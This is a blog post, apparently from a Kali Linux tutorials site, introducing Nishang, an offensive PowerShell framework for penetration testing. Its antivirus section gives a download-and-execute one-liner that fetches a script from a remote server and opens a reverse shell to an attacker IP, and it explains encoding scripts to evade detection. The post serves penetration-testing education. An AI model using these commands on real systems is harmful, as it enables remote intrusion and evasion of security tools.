{"id":10662,"date":"2020-05-29T21:05:12","date_gmt":"2020-05-29T15:35:12","guid":{"rendered":"http:\/\/kalilinuxtutorials.com\/?p=10662"},"modified":"2020-05-29T21:05:12","modified_gmt":"2020-05-29T15:35:12","slug":"nishang","status":"publish","type":"post","link":"https:\/\/kalilinuxtutorials.com\/nishang\/","title":{"rendered":"Nishang : Offensive PowerShell For Red Team, Penetration Testing & Offensive Security"},"content":{"rendered":"\n

Nishang <\/strong>is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.<\/p>\n\n\n\n

Usage<\/strong><\/p>\n\n\n\n

Import all the scripts in the current PowerShell session (PowerShell v3 onwards).<\/p>\n\n\n\n

PS C:\\nishang> Import-Module .\\nishang.psm1<\/p>\n\n\n\n

Use the individual scripts with dot sourcing.<\/p>\n\n\n\n

PS C:\\nishang> . C:\\nishang\\Gather\\Get-Information.ps1
PS C:\\nishang> Get-Information<\/strong><\/p>\n\n\n\n

To get help about any script or function, use:<\/p>\n\n\n\n

PS C:\\nishang> Get-Help [scriptname] -full<\/strong><\/p>\n\n\n\n

Note that the help is available for the function loaded after running the script and not the script itself since version 0.3.8. In all cases, the function name is same as the script name.<\/p>\n\n\n\n

For example, to see the help about Get-WLAN-Keys.ps1, use<\/p>\n\n\n\n

PS C:\\nishang> . C:\\nishang\\Get-WLAN-Keys.ps1
PS C:\\nishang> Get-Help Get-WLAN-Keys -Full<\/strong><\/p>\n\n\n\n

Anti Virus<\/strong><\/p>\n\n\n\n

Nishang scripts are flagged by many Anti Viruses as malicious. The scrripts on a target are meant to be used in memory which is very easy to do with PowerShell. Two basic methods to execute PowerShell scripts in memory:<\/p>\n\n\n\n

Method 1. Use the in-memory dowload and execute: Use below command to execute a PowerShell script from a remote shell, meterpreter native shell, a web shell etc. and the function exported by it. All the scripts in Nishang export a function with same name in the current PowerShell session.<\/p>\n\n\n\n

powershell iex (New-Object Net.WebClient).DownloadString(‘http:\/\/<yourwebserver>\/Invoke-PowerShellTcp.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]<\/p>\n\n\n\n

Method 2. Use the -encodedcommand<\/code> (or -e<\/code>)<\/strong> parameter of PowerShell All the scripts in Nishang export a function with same name in the current PowerShell session. Therefore, make sure the function call is made in the script itself while using encodedcommand parameter from a non-PowerShell shell. For above example, add a function call (without quotes) \"Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]\"<\/strong><\/code>.<\/p>\n\n\n\n

Encode the scrript using Invoke-Encode from Nishang:<\/p>\n\n\n\n

PS C:\\nishang> . \\nishang\\Utility\\Invoke-Encode

PS C:\\nishang> Invoke-Encode -DataToEncode C:\\nishang\\Shells\\Invoke-PowerShellTcp.ps1 -OutCommand<\/strong><\/p>\n\n\n\n